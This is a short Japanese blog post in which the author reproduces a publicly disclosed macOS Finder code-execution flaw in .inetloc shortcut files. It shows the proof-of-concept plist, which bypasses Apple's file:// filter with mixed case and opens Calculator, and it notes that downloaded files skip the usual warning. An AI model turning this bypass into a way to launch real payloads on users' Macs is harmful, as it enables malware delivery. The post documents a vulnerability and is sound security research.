AppleがCVEを割り当てずに修正した(?)けどバイパス可能なFinderのRCEの脆弱性を試してみた

概要

AppleがCVEを割り当てずに修正したけど、修正が雑でバイパス可能な状態の脆弱性がインターネットで話題だったのでやっていく。 拡張子 .inetloc のinetlocファイルという、RSSフィードなどのインターネット上のコンテンツを指すためのショートカットがmacOSでは使われている。 このファイルの中でfile://を使ってローカルの実行ファイルを指定することで、任意コード実行が可能とのこと。 この脆弱性SSD Secure DisclosureというOSやブラウザなどの著名なソフトウェアを扱うバグバウンティサイトで公開された。

ssd-disclosure.com

やってみる

脆弱性の修正が行われた現在は、file:// を弾く対策が実装されている。 そのため、大文字と小文字を混ぜて、同じ動作をする他の文字列を指定してあげると、対策をバイパスできる。 上記記事中には次のPoCが貼られていて、拡張子.inetlocを持つファイルとして保存し、Finderからダブルクリックで実行すると電卓が起動した。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>URL</key>
    <string>FiLe:////////////////////////System/Applications/Calculator.app</string>
  </dict>
</plist>

また、macOSではダウンロードしてきたファイルを実行する際に警告が出るが、 ブラウザを使って、ダウンロードしてきたinetlocファイルは警告なしで実行されることを確認した。 攻撃者がメールなどでマルウェアを送りつける際の有用な手段が増えたのかなーと思った。

まとめ

ちゃんと対策してほしいし、報告者のためにも、脆弱性管理、周知のためにもCVEつけてあげてほしい。